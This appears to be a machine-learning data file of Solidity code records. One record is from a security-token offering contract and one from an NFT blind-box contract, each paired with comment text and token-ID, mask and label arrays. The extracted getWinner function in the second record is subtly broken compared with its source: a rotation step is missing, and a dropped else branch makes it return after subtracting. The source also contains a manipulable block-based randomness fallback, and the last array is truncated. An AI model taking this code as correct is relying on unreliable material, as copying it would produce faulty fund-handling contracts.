FundraiseType.POLY, "POLY should be the mode of investment"); require(verifyInvestment(msg.sender, _investedPOLY), "Not valid Investment"); _processTx(msg.sender, _investedPOLY); _forwardPoly(msg.sender, wallet, _investedPOLY); _postValidatePurchase(msg.sender, _investedPOLY); } /** * @notice Checks whether the cap has been reached. * @return bool Whether the cap was reached */ function capReached() public view returns (bool) { return tokensSold >= cap; } /** * @notice Return ETH raised by the STO */ function getRaisedEther() public view returns (uint256) { if (fundraiseType == FundraiseType.ETH) return fundsRaised; else return 0; } /** * @notice Return POLY raised by the STO */ function getRaisedPOLY() public view returns (uint256) { if (fundraiseType == FundraiseType.POLY) return fundsRaised; else return 0; } /** * @notice Return the total no. of investors */ function getNumberInvestors() public view returns (uint256) { return investorCount; } /** * @notice Return the permissions flag that are associated with STO */ function getPermissions() public view returns(bytes32[]) { bytes32[] memory allPermissions = new bytes32[](0); return allPermissions; } /** * @notice Return the STO details */ function getSTODetails() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, bool) { return ( startTime, endTime, cap, rate, fundsRaised, investorCount, tokensSold, (fundraiseType == FundraiseType.POLY) ); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * Processing the purchase as well as verify the required validations * @param _beneficiary Address performing the token purchase * @param _investedAmount Value in wei involved in the purchase */ function _processTx(address _beneficiary, uint256 _investedAmount) internal { _preValidatePurchase(_beneficiary, _investedAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(_investedAmount); // update state fundsRaised = fundsRaised.add(_investedAmount); tokensSold = tokensSold.add(tokens); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, _investedAmount, tokens); _updatePurchasingState(_beneficiary, _investedAmount); } /** * @notice Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _investedAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _investedAmount) internal view { require(_beneficiary != address(0), "Beneficiary address should not be 0x"); require(_investedAmount != 0, "Amount invested should not be equal to 0"); require(tokensSold.add(_getTokenAmount(_investedAmount)) <= cap, "Investment more than cap is not allowed"); require(now >= startTime && now <= endTime, "Offering is closed/Not yet started"); } /** * @notice Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. */ function _postValidatePurchase(address /*_beneficiary*/, uint256 /*_investedAmount*/) internal pure { // optional override } /** * @notice Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { require(IST20(securityToken).mint(_beneficiary, _tokenAmount), "Error in minting the tokens"); } /** * @notice Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { if (investors[_beneficiary] == 0) { investorCount = investorCount + 1; } investors[_beneficiary] = investors[_beneficiary].add(_tokenAmount); _deliverTokens(_beneficiary, _tokenAmount); } /** * @notice Override for extensions that require an internal state to check for validity (current user contributions, etc.) */ function _updatePurchasingState(address /*_beneficiary*/, uint256 /*_investedAmount*/) internal pure { // optional override } /** * @notice Override to extend the way in which ether is converted to tokens. * @param _investedAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _investedAmount */ function _getTokenAmount(uint256 _investedAmount) internal view returns (uint256) { return _investedAmount.mul(rate); } /** * @notice Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } /** * @notice Internal function used to check the type of fund raise currency * @param _fundraiseType Type of currency used to collect the funds */ function _check(uint8 _fundraiseType) internal { require(_fundraiseType == 0 || _fundraiseType == 1, "Not a valid fundraise type"); if (_fundraiseType == 0) { fundraiseType = FundraiseType.ETH; } if (_fundraiseType == 1) { require(address(polyToken) != address(0), "Address of the polyToken should not be 0x"); fundraiseType = FundraiseType.POLY; } } /** * @notice Internal function used to forward the POLY raised to beneficiary address * @param _beneficiary Address of the funds reciever * @param _to Address who wants to ST-20 tokens * @param _fundsAmount Amount invested by _to */ function _forwardPoly(address _beneficiary, address _to, uint256 _fundsAmount) internal { polyToken.transferFrom(_beneficiary, _to, _fundsAmount); } }
* @notice Return the STO details/
function getSTODetails() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, bool) { return ( startTime, endTime, cap, rate, fundsRaised, investorCount, tokensSold, (fundraiseType == FundraiseType.POLY) ); }
8,014,187
[ 1, 990, 326, 2347, 51, 3189, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 882, 1212, 1987, 1435, 1071, 1476, 1135, 12, 11890, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 1426, 13, 288, 203, 3639, 327, 261, 203, 5411, 8657, 16, 203, 5411, 13859, 16, 203, 5411, 3523, 16, 203, 5411, 4993, 16, 203, 5411, 284, 19156, 12649, 5918, 16, 203, 5411, 2198, 395, 280, 1380, 16, 203, 5411, 2430, 55, 1673, 16, 203, 5411, 261, 74, 1074, 11628, 559, 422, 478, 1074, 11628, 559, 18, 14232, 61, 13, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "./interfaces/ILinkAccessor.sol"; import "./interfaces/IUniswapV2Router02.sol"; // This contract is owned by Timelock. contract NFTMaster is Ownable, IERC721Receiver { using SafeERC20 for IERC20; using SafeMath for uint256; event CreateCollection(address _who, uint256 _collectionId); event PublishCollection(address _who, uint256 _collectionId); event UnpublishCollection(address _who, uint256 _collectionId); event NFTDeposit(address _who, address _tokenAddress, uint256 _tokenId); event NFTWithdraw(address _who, address _tokenAddress, uint256 _tokenId); event NFTClaim(address _who, address _tokenAddress, uint256 _tokenId); IERC20 public wETH; IERC20 public baseToken; IERC20 public blesToken; IERC20 public linkToken; uint256 public linkCost = 1e17; // 0.1 LINK ILinkAccessor public linkAccessor; // Platform fee. uint256 constant FEE_BASE = 10000; uint256 public feeRate = 500; // 5% address public feeTo; // Collection creating fee. uint256 public creatingFee = 0; // By default, 0 IUniswapV2Router02 public router; uint256 public nextNFTId; uint256 public nextCollectionId; struct NFT { address tokenAddress; uint256 tokenId; address owner; uint256 price; uint256 paid; uint256 collectionId; uint256 indexInCollection; } // nftId => NFT mapping(uint256 => NFT) public allNFTs; // owner => nftId[] mapping(address => uint256[]) public nftsByOwner; // tokenAddress => tokenId => nftId mapping(address => mapping(uint256 => uint256)) public nftIdMap; struct Collection { address owner; string name; uint256 size; uint256 commissionRate; // for curator (owner) bool willAcceptBLES; // The following are runtime variables before publish uint256 totalPrice; uint256 averagePrice; uint256 fee; uint256 commission; // The following are runtime variables after publish uint256 publishedAt; // time that published. uint256 timesToCall; uint256 soldCount; } // collectionId => Collection mapping(uint256 => Collection) public allCollections; // owner => collectionId[] mapping(address => uint256[]) public collectionsByOwner; // collectionId => who => true/false mapping(uint256 => mapping(address => bool)) public isCollaborator; // collectionId => collaborators mapping(uint256 => address[]) public collaborators; // collectionId => nftId[] mapping(uint256 => uint256[]) public nftsByCollectionId; struct RequestInfo { uint256 collectionId; uint256 index; } mapping(bytes32 => RequestInfo) public requestInfoMap; struct Slot { address owner; uint256 size; } // collectionId => Slot[] mapping(uint256 => Slot[]) public slotMap; // collectionId => randomnessIndex => r mapping(uint256 => mapping(uint256 => uint256)) public nftMapping; uint256 public nftPriceFloor = 1e18; // 1 USDC uint256 public nftPriceCeil = 1e24; // 1M USDC uint256 public minimumCollectionSize = 3; // 3 blind boxes uint256 public maximumDuration = 14 days; // Refund if not sold out in 14 days. constructor() public { } function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } function setWETH(IERC20 wETH_) external onlyOwner { wETH = wETH_; } function setLinkToken(IERC20 linkToken_) external onlyOwner { linkToken = linkToken_; } function setBaseToken(IERC20 baseToken_) external onlyOwner { baseToken = baseToken_; } function setBlesToken(IERC20 blesToken_) external onlyOwner { blesToken = blesToken_; } function setLinkAccessor(ILinkAccessor linkAccessor_) external onlyOwner { linkAccessor = linkAccessor_; } function setLinkCost(uint256 linkCost_) external onlyOwner { linkCost = linkCost_; } function setFeeRate(uint256 feeRate_) external onlyOwner { feeRate = feeRate_; } function setFeeTo(address feeTo_) external onlyOwner { feeTo = feeTo_; } function setCreatingFee(uint256 creatingFee_) external onlyOwner { creatingFee = creatingFee_; } function setUniswapV2Router(IUniswapV2Router02 router_) external onlyOwner { router = router_; } function setNFTPriceFloor(uint256 value_) external onlyOwner { require(value_ < nftPriceCeil, "should be higher than floor"); nftPriceFloor = value_; } function setNFTPriceCeil(uint256 value_) external onlyOwner { require(value_ > nftPriceFloor, "should be higher than floor"); nftPriceCeil = value_; } function setMinimumCollectionSize(uint256 size_) external onlyOwner { minimumCollectionSize = size_; } function setMaximumDuration(uint256 maximumDuration_) external onlyOwner { maximumDuration = maximumDuration_; } function _generateNextNFTId() private returns(uint256) { return ++nextNFTId; } function _generateNextCollectionId() private returns(uint256) { return ++nextCollectionId; } function _depositNFT(address tokenAddress_, uint256 tokenId_) private returns(uint256) { IERC721(tokenAddress_).safeTransferFrom(_msgSender(), address(this), tokenId_); NFT memory nft; nft.tokenAddress = tokenAddress_; nft.tokenId = tokenId_; nft.owner = _msgSender(); nft.collectionId = 0; nft.indexInCollection = 0; uint256 nftId; if (nftIdMap[tokenAddress_][tokenId_] > 0) { nftId = nftIdMap[tokenAddress_][tokenId_]; } else { nftId = _generateNextNFTId(); nftIdMap[tokenAddress_][tokenId_] = nftId; } allNFTs[nftId] = nft; nftsByOwner[_msgSender()].push(nftId); emit NFTDeposit(_msgSender(), tokenAddress_, tokenId_); return nftId; } function _withdrawNFT(address who_, uint256 nftId_, bool isClaim_) private { allNFTs[nftId_].owner = address(0); allNFTs[nftId_].collectionId = 0; address tokenAddress = allNFTs[nftId_].tokenAddress; uint256 tokenId = allNFTs[nftId_].tokenId; IERC721(tokenAddress).safeTransferFrom(address(this), who_, tokenId); if (isClaim_) { emit NFTClaim(who_, tokenAddress, tokenId); } else { emit NFTWithdraw(who_, tokenAddress, tokenId); } } function claimNFT(uint256 collectionId_, uint256 index_) external { Collection storage collection = allCollections[collectionId_]; require(collection.soldCount == collection.size, "Not finished"); address winner = getWinner(collectionId_, index_); require(winner == _msgSender(), "Only winner can claim"); uint256 nftId = nftsByCollectionId[collectionId_][index_]; require(allNFTs[nftId].collectionId == collectionId_, "Already claimed"); if (allNFTs[nftId].paid == 0) { if (collection.willAcceptBLES) { allNFTs[nftId].paid = allNFTs[nftId].price.mul( FEE_BASE.sub(collection.commissionRate)).div(FEE_BASE); IERC20(blesToken).safeTransfer(allNFTs[nftId].owner, allNFTs[nftId].paid); } else { allNFTs[nftId].paid = allNFTs[nftId].price.mul( FEE_BASE.sub(feeRate).sub(collection.commissionRate)).div(FEE_BASE); IERC20(baseToken).safeTransfer(allNFTs[nftId].owner, allNFTs[nftId].paid); } } _withdrawNFT(_msgSender(), nftId, true); } function claimRevenue(uint256 collectionId_, uint256 index_) external { Collection storage collection = allCollections[collectionId_]; require(collection.soldCount == collection.size, "Not finished"); uint256 nftId = nftsByCollectionId[collectionId_][index_]; require(allNFTs[nftId].owner == _msgSender() && allNFTs[nftId].collectionId > 0, "NFT not claimed"); if (allNFTs[nftId].paid == 0) { if (collection.willAcceptBLES) { allNFTs[nftId].paid = allNFTs[nftId].price.mul( FEE_BASE.sub(collection.commissionRate)).div(FEE_BASE); IERC20(blesToken).safeTransfer(allNFTs[nftId].owner, allNFTs[nftId].paid); } else { allNFTs[nftId].paid = allNFTs[nftId].price.mul( FEE_BASE.sub(feeRate).sub(collection.commissionRate)).div(FEE_BASE); IERC20(baseToken).safeTransfer(allNFTs[nftId].owner, allNFTs[nftId].paid); } } } function claimCommission(uint256 collectionId_) external { Collection storage collection = allCollections[collectionId_]; require(_msgSender() == collection.owner, "Only curator can claim"); require(collection.soldCount == collection.size, "Not finished"); if (collection.willAcceptBLES) { IERC20(blesToken).safeTransfer(collection.owner, collection.commission); } else { IERC20(baseToken).safeTransfer(collection.owner, collection.commission); } // Mark it claimed. collection.commission = 0; } function claimFee(uint256 collectionId_) external { require(feeTo != address(0), "Please set feeTo first"); Collection storage collection = allCollections[collectionId_]; require(collection.soldCount == collection.size, "Not finished"); require(!collection.willAcceptBLES, "No fee if the curator accepts BLES"); IERC20(baseToken).safeTransfer(feeTo, collection.fee); // Mark it claimed. collection.fee = 0; } function createCollection( string calldata name_, uint256 size_, uint256 commissionRate_, bool willAcceptBLES_, address[] calldata collaborators_ ) external { require(size_ >= minimumCollectionSize, "Size too small"); require(commissionRate_.add(feeRate) < FEE_BASE, "Too much commission"); if (creatingFee > 0) { // Charges BLES for creating the collection. IERC20(blesToken).safeTransfer(feeTo, creatingFee); } Collection memory collection; collection.owner = _msgSender(); collection.name = name_; collection.size = size_; collection.commissionRate = commissionRate_; collection.totalPrice = 0; collection.averagePrice = 0; collection.willAcceptBLES = willAcceptBLES_; collection.publishedAt = 0; uint256 collectionId = _generateNextCollectionId(); allCollections[collectionId] = collection; collectionsByOwner[_msgSender()].push(collectionId); collaborators[collectionId] = collaborators_; for (uint256 i = 0; i < collaborators_.length; ++i) { isCollaborator[collectionId][collaborators_[i]] = true; } emit CreateCollection(_msgSender(), collectionId); } function isPublished(uint256 collectionId_) public view returns(bool) { return allCollections[collectionId_].publishedAt > 0; } function _addNFTToCollection(uint256 nftId_, uint256 collectionId_, uint256 price_) private { Collection storage collection = allCollections[collectionId_]; require(allNFTs[nftId_].owner == _msgSender(), "Only NFT owner can add"); require(collection.owner == _msgSender() || isCollaborator[collectionId_][_msgSender()], "Needs collection owner or collaborator"); require(price_ >= nftPriceFloor && price_ <= nftPriceCeil, "Price not in range"); require(allNFTs[nftId_].collectionId == 0, "Already added"); require(!isPublished(collectionId_), "Collection already published"); require(nftsByCollectionId[collectionId_].length < collection.size, "collection full"); allNFTs[nftId_].price = price_; allNFTs[nftId_].collectionId = collectionId_; allNFTs[nftId_].indexInCollection = nftsByCollectionId[collectionId_].length; // Push to nftsByCollectionId. nftsByCollectionId[collectionId_].push(nftId_); collection.totalPrice = collection.totalPrice.add(price_); if (!collection.willAcceptBLES) { collection.fee = collection.fee.add(price_.mul(feeRate).div(FEE_BASE)); } collection.commission = collection.commission.add(price_.mul(collection.commissionRate).div(FEE_BASE)); } function addNFTToCollection(address tokenAddress_, uint256 tokenId_, uint256 collectionId_, uint256 price_) external { uint256 nftId = _depositNFT(tokenAddress_, tokenId_); _addNFTToCollection(nftId, collectionId_, price_); } function editNFTInCollection(uint256 nftId_, uint256 collectionId_, uint256 price_) external { Collection storage collection = allCollections[collectionId_]; require(collection.owner == _msgSender() || allNFTs[nftId_].owner == _msgSender(), "Needs collection owner or NFT owner"); require(price_ >= nftPriceFloor && price_ <= nftPriceCeil, "Price not in range"); require(allNFTs[nftId_].collectionId == collectionId_, "NFT not in collection"); require(!isPublished(collectionId_), "Collection already published"); collection.totalPrice = collection.totalPrice.add(price_).sub(allNFTs[nftId_].price); if (!collection.willAcceptBLES) { collection.fee = collection.fee.add( price_.mul(feeRate).div(FEE_BASE)).sub( allNFTs[nftId_].price.mul(feeRate).div(FEE_BASE)); } collection.commission = collection.commission.add( price_.mul(collection.commissionRate).div(FEE_BASE)).sub( allNFTs[nftId_].price.mul(collection.commissionRate).div(FEE_BASE)); allNFTs[nftId_].price = price_; // Change price. } function _removeNFTFromCollection(uint256 nftId_, uint256 collectionId_) private { Collection storage collection = allCollections[collectionId_]; require(allNFTs[nftId_].owner == _msgSender() || collection.owner == _msgSender(), "Only NFT owner or collection owner can remove"); require(allNFTs[nftId_].collectionId == collectionId_, "NFT not in collection"); require(!isPublished(collectionId_), "Collection already published"); collection.totalPrice = collection.totalPrice.sub(allNFTs[nftId_].price); if (!collection.willAcceptBLES) { collection.fee = collection.fee.sub( allNFTs[nftId_].price.mul(feeRate).div(FEE_BASE)); } collection.commission = collection.commission.sub( allNFTs[nftId_].price.mul(collection.commissionRate).div(FEE_BASE)); allNFTs[nftId_].collectionId = 0; // Removes from nftsByCollectionId uint256 index = allNFTs[nftId_].indexInCollection; uint256 lastNFTId = nftsByCollectionId[collectionId_][nftsByCollectionId[collectionId_].length - 1]; nftsByCollectionId[collectionId_][index] = lastNFTId; allNFTs[lastNFTId].indexInCollection = index; nftsByCollectionId[collectionId_].pop(); } function removeNFTFromCollection(uint256 nftId_, uint256 collectionId_) external { address nftOwner = allNFTs[nftId_].owner; _removeNFTFromCollection(nftId_, collectionId_); _withdrawNFT(nftOwner, nftId_, false); } function randomnessCount(uint256 size_) public pure returns(uint256){ uint256 i; for (i = 0; size_** i <= type(uint256).max / size_; i++) {} return i; } function publishCollection(uint256 collectionId_, address[] calldata path, uint256 amountInMax_, uint256 deadline_) external { Collection storage collection = allCollections[collectionId_]; require(collection.owner == _msgSender(), "Only owner can publish"); uint256 actualSize = nftsByCollectionId[collectionId_].length; require(actualSize >= minimumCollectionSize, "Not enough boxes"); collection.size = actualSize; // Fit the size. // Math.ceil(totalPrice / actualSize); collection.averagePrice = collection.totalPrice.add(actualSize.sub(1)).div(actualSize); collection.publishedAt = now; // Now buy LINK. Here is some math for calculating the time of calls needed from ChainLink. uint256 count = randomnessCount(actualSize); uint256 times = actualSize.add(count).sub(1).div(count); // Math.ceil if (linkCost > 0 && address(linkAccessor) != address(0)) { buyLink(times, path, amountInMax_, deadline_); } collection.timesToCall = times; emit PublishCollection(_msgSender(), collectionId_); } function unpublishCollection(uint256 collectionId_) external { // Anyone can call. Collection storage collection = allCollections[collectionId_]; // Only if the boxes not sold out in maximumDuration, can we unpublish. require(now > collection.publishedAt + maximumDuration, "Not expired yet"); require(collection.soldCount < collection.size, "Sold out"); collection.publishedAt = 0; collection.soldCount = 0; // Now refund to the buyers. uint256 length = slotMap[collectionId_].length; for (uint256 i = 0; i < length; ++i) { Slot memory slot = slotMap[collectionId_][length.sub(i + 1)]; slotMap[collectionId_].pop(); if (collection.willAcceptBLES) { IERC20(blesToken).transfer(slot.owner, collection.averagePrice.mul(slot.size)); } else { IERC20(baseToken).transfer(slot.owner, collection.averagePrice.mul(slot.size)); } } emit UnpublishCollection(_msgSender(), collectionId_); } function buyLink(uint256 times_, address[] calldata path, uint256 amountInMax_, uint256 deadline_) internal virtual { require(path[path.length.sub(1)] == address(linkToken), "Last token must be LINK"); uint256 amountToBuy = linkCost.mul(times_); if (path.length == 1) { // Pay with LINK. linkToken.transferFrom(_msgSender(), address(linkAccessor), amountToBuy); } else { if (IERC20(path[0]).allowance(address(this), address(router)) < amountInMax_) { IERC20(path[0]).approve(address(router), amountInMax_); } uint256[] memory amounts = router.getAmountsIn(amountToBuy, path); IERC20(path[0]).transferFrom(_msgSender(), address(this), amounts[0]); // Pay with other token. router.swapTokensForExactTokens( amountToBuy, amountInMax_, path, address(linkAccessor), deadline_); } } function drawBoxes(uint256 collectionId_, uint256 times_) external { Collection storage collection = allCollections[collectionId_]; require(collection.soldCount.add(times_) <= collection.size, "Not enough left"); uint256 cost = collection.averagePrice.mul(times_); if (collection.willAcceptBLES) { IERC20(blesToken).safeTransferFrom(_msgSender(), address(this), cost); } else { IERC20(baseToken).safeTransferFrom(_msgSender(), address(this), cost); } Slot memory slot; slot.owner = _msgSender(); slot.size = times_; slotMap[collectionId_].push(slot); collection.soldCount = collection.soldCount.add(times_); uint256 startFromIndex = collection.size.sub(collection.timesToCall); for (uint256 i = startFromIndex; i < collection.soldCount; ++i) { requestRandomNumber(collectionId_, i.sub(startFromIndex)); } } function getWinner(uint256 collectionId_, uint256 nftIndex_) public view returns(address) { Collection storage collection = allCollections[collectionId_]; if (collection.soldCount < collection.size) { // Not sold all yet. return address(0); } uint256 size = collection.size; uint256 count = randomnessCount(size); uint256 lastRandomnessIndex = size.sub(1).div(count); uint256 lastR = nftMapping[collectionId_][lastRandomnessIndex]; // Use lastR as an offset for rotating the sequence, to make sure that // we need to wait for all boxes being sold. nftIndex_ = nftIndex_.add(lastR).mod(size); uint256 randomnessIndex = nftIndex_.div(count); randomnessIndex = randomnessIndex.add(lastR).mod(lastRandomnessIndex + 1); uint256 r = nftMapping[collectionId_][randomnessIndex]; uint256 i; for (i = 0; i < nftIndex_.mod(count); ++i) { r /= size; } r %= size; // Iterate through all slots. for (i = 0; i < slotMap[collectionId_].length; ++i) { if (r >= slotMap[collectionId_][i].size) { r -= slotMap[collectionId_][i].size; } else { return slotMap[collectionId_][i].owner; } } require(false, "r overflow"); } function psuedoRandomness() public view returns(uint256) { return uint256(keccak256(abi.encodePacked( block.timestamp + block.difficulty + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + block.gaslimit + ((uint256(keccak256(abi.encodePacked(_msgSender())))) / (now)) + block.number ))); } function requestRandomNumber(uint256 collectionId_, uint256 index_) private { if (address(linkAccessor) != address(0)) { bytes32 requestId = linkAccessor.requestRandomness(index_); requestInfoMap[requestId].collectionId = collectionId_; requestInfoMap[requestId].index = index_; } else { // Uses psuedo random number instead, and doesn't involve request / callback. useRandomness(collectionId_, index_, psuedoRandomness()); } } /** * Callback function used by VRF Coordinator */ function fulfillRandomness(bytes32 requestId, uint256 randomness) public { require(_msgSender() == address(linkAccessor), "Only linkAccessor can call"); uint256 collectionId = requestInfoMap[requestId].collectionId; uint256 randomnessIndex = requestInfoMap[requestId].index; useRandomness(collectionId, randomnessIndex, randomness); } function useRandomness( uint256 collectionId_, uint256 randomnessIndex_, uint256 randomness_ ) private { uint256 size = allCollections[collectionId_].size; bool[] memory filled = new bool[](size); uint256 r; uint256 i; uint256 count; for (i = 0; i < randomnessIndex_; ++i) { r = nftMapping[collectionId_][i]; while (r > 0) { filled[r.mod(size)] = true; r = r.div(size); count = count.add(1); } } r = 0; uint256 t; while (randomness_ > 0 && count < size) { t = randomness_.mod(size); randomness_ = randomness_.div(size); t = t.mod(size.sub(count)).add(1); // Skips filled mappings. for (i = 0; i < size; ++i) { if (!filled[i]) { t = t.sub(1); } if (t == 0) { break; } } filled[i] = true; r = r.mul(size).add(i); count = count.add(1); } nftMapping[collectionId_][randomnessIndex_] = r; } }
Not sold all yet. Iterate through all slots.
function getWinner(uint256 collectionId_, uint256 nftIndex_) public view returns(address) { Collection storage collection = allCollections[collectionId_]; if (collection.soldCount < collection.size) { return address(0); } uint256 size = collection.size; uint256 count = randomnessCount(size); uint256 lastRandomnessIndex = size.sub(1).div(count); uint256 lastR = nftMapping[collectionId_][lastRandomnessIndex]; uint256 randomnessIndex = nftIndex_.div(count); randomnessIndex = randomnessIndex.add(lastR).mod(lastRandomnessIndex + 1); uint256 r = nftMapping[collectionId_][randomnessIndex]; uint256 i; for (i = 0; i < nftIndex_.mod(count); ++i) { r /= size; } r %= size; for (i = 0; i < slotMap[collectionId_].length; ++i) { if (r >= slotMap[collectionId_][i].size) { r -= slotMap[collectionId_][i].size; return slotMap[collectionId_][i].owner; } } require(false, "r overflow"); }
5,425,667
[ 1, 1248, 272, 1673, 777, 4671, 18, 11436, 3059, 777, 12169, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13876, 7872, 12, 11890, 5034, 1849, 548, 67, 16, 2254, 5034, 290, 1222, 1016, 67, 13, 1071, 1476, 1135, 12, 2867, 13, 288, 203, 3639, 2200, 2502, 1849, 273, 777, 15150, 63, 5548, 548, 67, 15533, 203, 203, 3639, 309, 261, 5548, 18, 87, 1673, 1380, 411, 1849, 18, 1467, 13, 288, 203, 5411, 327, 1758, 12, 20, 1769, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 963, 273, 1849, 18, 1467, 31, 203, 3639, 2254, 5034, 1056, 273, 2744, 4496, 1380, 12, 1467, 1769, 203, 203, 3639, 2254, 5034, 1142, 8529, 4496, 1016, 273, 963, 18, 1717, 12, 21, 2934, 2892, 12, 1883, 1769, 203, 3639, 2254, 5034, 1142, 54, 273, 290, 1222, 3233, 63, 5548, 548, 67, 6362, 2722, 8529, 4496, 1016, 15533, 203, 203, 203, 3639, 2254, 5034, 2744, 4496, 1016, 273, 290, 1222, 1016, 27799, 2892, 12, 1883, 1769, 203, 3639, 2744, 4496, 1016, 273, 2744, 4496, 1016, 18, 1289, 12, 2722, 54, 2934, 1711, 12, 2722, 8529, 4496, 1016, 397, 404, 1769, 203, 203, 3639, 2254, 5034, 436, 273, 290, 1222, 3233, 63, 5548, 548, 67, 6362, 9188, 4496, 1016, 15533, 203, 203, 3639, 2254, 5034, 277, 31, 203, 203, 3639, 364, 261, 77, 273, 374, 31, 277, 411, 290, 1222, 1016, 27799, 1711, 12, 1883, 1769, 965, 77, 13, 288, 203, 1850, 436, 9531, 963, 31, 203, 3639, 289, 203, 203, 3639, 436, 30582, 963, 31, 203, 203, 3639, 364, 261, 77, 273, 374, 31, 277, 411, 4694, 863, 